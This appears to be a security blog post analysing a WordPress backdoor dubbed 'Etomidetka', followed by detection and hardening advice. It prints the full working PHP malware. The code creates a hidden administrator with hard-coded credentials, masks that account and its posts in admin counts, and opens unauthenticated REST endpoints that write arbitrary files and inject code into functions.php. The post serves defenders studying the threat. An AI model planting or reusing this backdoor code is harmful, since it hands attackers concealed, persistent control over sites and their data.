Introduction: The Stealthy Web Intruder
Recently discovered a sophisticated WordPress backdoor script designed to establish persistent, hidden access. Codenamed “Etomidetka” after its creator username, this PHP malware exemplifies how threat actors exploit legitimate platform functions for nefarious purposes. Unlike noisy ransomware or destructive wipers, this threat prioritizes stealth and long-term access—making it particularly dangerous for organizations storing sensitive data.
The Complete Backdoor Code
Below is the full malicious code found in compromised WordPress installations. This PHP script combines multiple attack techniques into a single cohesive threat:
/** * Creates a hidden admin user on WordPress initialization * Username: user_name, Password: user_pswd, Email: user_name@example.com * Grants super admin privileges on multisite installations */ add_action('init', function() { $username = 'user_name'; $password = 'user_pswd'; $email = 'user_name@example.com'; if (!username_exists($username)) { $user_id = wp_create_user($username, $password, $email); if (!is_wp_error($user_id)) { $user = new WP_User($user_id); $user->set_role('administrator'); if (is_multisite()) { grant_super_admin($user_id); } } } }); /** * Hides the user from the WordPress admin users list */ add_filter('pre_get_users', function($query) { if (is_admin() && function_exists('get_current_screen')) { $screen = get_current_screen(); if ($screen && $screen->id === 'users') { $hidden_user = 'user_name'; $excluded_users = $query->get('exclude', []); $excluded_users = is_array($excluded_users) ? $excluded_users : [$excluded_users]; $user_id = username_exists($hidden_user); if ($user_id) { $excluded_users[] = $user_id; } $query->set('exclude', $excluded_users); } } return $query; }); /** * Adjusts user counts in admin views to hide the hidden user */ add_filter('views_users', function($views) { $hidden_user = 'user_name'; $user_id = username_exists($hidden_user); if ($user_id) { if (isset($views['all'])) { $views['all'] = preg_replace_callback( '/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['all'] ); } if (isset($views['administrator'])) { $views['administrator'] = preg_replace_callback( '/\((\d+)\)/', function($matches) { return '(' . max(0, $matches[1] - 1) . ')'; }, $views['administrator'] ); } } return $views; }); /** * Excludes posts by the hidden user from main queries */ add_action('pre_get_posts', function($query) { if ($query->is_main_query()) { $user = get_user_by('login', 'user_name'); if ($user) { $author_id = $user->ID; $query->set('author__not_in', [$author_id]); } } }); /** * Adjusts post counts in admin views to hide posts by the hidden user */ add_filter('views_edit-post', function($views) { global $wpdb; $user = get_user_by('login', 'user_name'); if ($user) { $author_id = $user->ID; // Count all non-trashed posts by hidden user $count_all = $wpdb->get_var($wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status != 'trash'", $author_id )); // Count published posts by hidden user $count_publish = $wpdb->get_var($wpdb->prepare( "SELECT COUNT(*) FROM $wpdb->posts WHERE post_author = %d AND post_type = 'post' AND post_status = 'publish'", $author_id )); if (isset($views['all'])) { $views['all'] = preg_replace_callback( '/\((\d+)\)/', function($matches) use ($count_all) { return '(' . max(0, (int)$matches[1] - $count_all) . ')'; }, $views['all'] ); } if (isset($views['publish'])) { $views['publish'] = preg_replace_callback( '/\((\d+)\)/', function($matches) use ($count_publish) { return '(' . max(0, (int)$matches[1] - $count_publish) . ')'; }, $views['publish'] ); } } return $views; }); /** * REST API endpoint for creating HTML files on the server */ add_action('rest_api_init', function () { register_rest_route('custom/v1', '/addesthtmlpage', [ 'methods' => 'POST', 'callback' => 'create_html_file', 'permission_callback' => '__return_true', ]); }); function create_html_file(WP_REST_Request $request) { $file_name = sanitize_file_name($request->get_param('filename')); $html_code = $request->get_param('html'); if (empty($file_name) || empty($html_code)) { return new WP_REST_Response([ 'error' => 'Missing required parameters: filename or html' ], 400); } if (pathinfo($file_name, PATHINFO_EXTENSION) !== 'html') { $file_name .= '.html'; } $root_path = ABSPATH; $file_path = $root_path . $file_name; if (file_put_contents($file_path, $html_code) === false) { return new WP_REST_Response([ 'error' => 'Failed to create HTML file' ], 500); } $site_url = site_url('/' . $file_name); return new WP_REST_Response([ 'success' => true, 'url' => $site_url ], 200); } /** * REST API endpoints for uploading images and modifying theme code */ add_action('rest_api_init', function() { register_rest_route('custom/v1', '/upload-image/', [ 'methods' => 'POST', 'callback' => 'handle_xjt37m_upload', 'permission_callback' => '__return_true', ]); register_rest_route('custom/v1', '/add-code/', [ 'methods' => 'POST', 'callback' => 'handle_yzq92f_code', 'permission_callback' => '__return_true', ]); register_rest_route('custom/v1', '/deletefunctioncode/', [ 'methods' => 'POST', 'callback' => 'handle_delete_function_code', 'permission_callback' => '__return_true', ]); }); // Handle image uploads via REST API function handle_xjt37m_upload(WP_REST_Request $request) { $filename = sanitize_file_name($request->get_param('filename')); $image_data = $request->get_param('image'); if (!$filename || !$image_data) { return new WP_REST_Response(['error' => 'Missing filename or image data'], 400); } $upload_dir = ABSPATH; $file_path = $upload_dir . $filename; $decoded_image = base64_decode($image_data); if (!$decoded_image) { return new WP_REST_Response(['error' => 'Invalid base64 data'], 400); } if (file_put_contents($file_path, $decoded_image) === false) { return new WP_REST_Response(['error' => 'Failed to save image'], 500); } $site_url = get_site_url(); $image_url = $site_url . '/' . $filename; return new WP_REST_Response(['url' => $image_url], 200); } // Handle adding code to functions.php function handle_yzq92f_code(WP_REST_Request $request) { $code = $request->get_param('code'); if (!$code) { return new WP_REST_Response(['error' => 'Missing code parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); if (file_put_contents($functions_path, "\n" . $code, FILE_APPEND | LOCK_EX) === false) { return new WP_REST_Response(['error' => 'Failed to append code'], 500); } return new WP_REST_Response(['success' => 'Code added successfully'], 200); } // Handle removing code from functions.php function handle_delete_function_code(WP_REST_Request $request) { $function_code = $request->get_param('functioncode'); if (!$function_code) { return new WP_REST_Response(['error' => 'Missing functioncode parameter'], 400); } $functions_path = get_theme_file_path('/functions.php'); $file_contents = file_get_contents($functions_path); if ($file_contents === false) { return new WP_REST_Response(['error' => 'Failed to read functions.php'], 500); } $escaped_function_code = preg_quote($function_code, '/'); $pattern = '/' . $escaped_function_code . '/s'; if (preg_match($pattern, $file_contents)) { $new_file_contents = preg_replace($pattern, '', $file_contents); if (file_put_contents($functions_path, $new_file_contents) === false) { return new WP_REST_Response(['error' => 'Failed to remove function from functions.php'], 500); } return new WP_REST_Response(['success' => 'Function removed successfully'], 200); } else { return new WP_REST_Response(['error' => 'Function code not found'], 404); } }
Breaking Down of the Attack Workflow
💀 Phase 1: Initial Persistence & Privilege Escalation
The init
action hook creates a hidden administrator account with super-admin privileges:

🕵️ Phase 2: Active Concealment
Three filters hide the attacker’s presence:
- User List Obfuscation: Excludes the malicious user from WordPress user queries
- Counter Manipulation: Decrements user counts in admin views
- Content Filtering: Excludes attacker-created posts from queries
⚡ Phase 3: REST API Backdoors
Three dangerous endpoints are exposed:
/addesthtmlpage
: Creates arbitrary HTML files (phishing pages)/upload-image
: Uploads base64-encoded files (malware/webshells)/add-code
and/deletefunctioncode
: Modifies theme’s functions.php for persistent access
Endpoints | HTTP Method | Functionality |
/custom/v1/addesthtmlpage | POST | Creates HTML files in root directory |
/custom/v1/upload-image/ | POST | Uploads encoded files to server |
/custom/v1/add-code/ | POST | Injects code into functions.php |
Attack Vectors and Post-Exploitation
🔍 Common Infection Methods
- Compromised Plugins/Themes: Bundled in nulled extensions
- Credential Stuffing: Reusing breached admin credentials
- Cross-Site Scripting (XSS): Injecting via vulnerable forms
⚙️ Attacker Playbook
- Phishing Hosting: Use
/addesthtmlpage
to deploy scam pages - Data Theft: Exfiltrate databases via
/upload-image
- Persistence: Reinfect via
/add-code
after cleanup - Lateral Movement: Compromise network via WordPress as pivot
Mitigation Strategies
🔍 Detection Techniques
- User Account Audit:SQL
SELECT * FROM wp_users WHERE user_login = '<user_name>';
- REST Route Scanning:PHP
print_r($GLOBALS['wp']->query_vars['rest_route']);
- File Integrity Checks:Bash
diff /path/to/theme/functions.php original_functions.php
🛡️ Proactive Defense Measures
- REST API Hardening:
Add this piece of code in your ‘functions.php’.PHPadd_filter('rest_authentication_errors', function($result) { if (!current_user_can('manage_options')) { return new WP_Error('rest_forbidden', __('Unauthorized'), array('status' => 401)); } return $result; });
add_filter('rest_authentication_errors', ...)
: This hooks into WordPress’s REST API authentication process.current_user_can('manage_options')
: Checks whether the current user has the capability to manage site options — typically only admins.If the user does not have this capability:
- The code returns a
WP_Error
object with:- Error code:
'rest_forbidden'
- Message:
'Unauthorized'
- HTTP Status:
401
(Unauthorized)
- Error code:
If the user does have the capability:
- The
$result
is returned unmodified, allowing normal REST API access.
- The code returns a
- Web Application Firewall Rules:
- Block requests to
/custom/v1/*
- Alert on base64_decode() in POST payloads
- Block requests to
- Least Privilege Enforcement:
- Disable administrator role creation (Only one admin account should exist)
Add this piece of code in your theme’s functions.phpPHP// Prevent assigning 'administrator' role during user creation add_filter('user_has_cap', function($allcaps, $caps, $args, $user) { // Check if trying to create or promote a user to administrator if ( isset($args[0]) && in_array($args[0], ['create_users', 'promote_users']) && isset($_POST['role']) && $_POST['role'] === 'administrator' ) { // Remove the capability $allcaps['create_users'] = false; $allcaps['promote_users'] = false; } return $allcaps; }, 10, 4);
This filter checks if someone is trying to assign the
administrator
role and blocks it.
- Disable administrator role creation (Only one admin account should exist)
Priority | Action | Implementation |
Critical | Disable unused REST endpoints | remove_action(‘rest_api_init’) |
High | Audit user creation hooks | Monitor wp_create_user() calls |
Medium | File change detection | Real-time notify monitoring |
Conclusion:
The Etomidetka backdoor represents a dangerous evolution in WordPress threats. By leveraging legitimate APIs and hiding in plain sight, it bypasses traditional security tools.
Key takeaways:
- Assume compromise – hunt for hidden users and endpoints
- Implement behavioral analysis (UEBA) for admin actions (if possible)
- Adopt zero-trust principles for REST API access
“Visibility is the new perimeter. You can’t protect what you can’t see.” – CISA Director Jen Easterly (2024)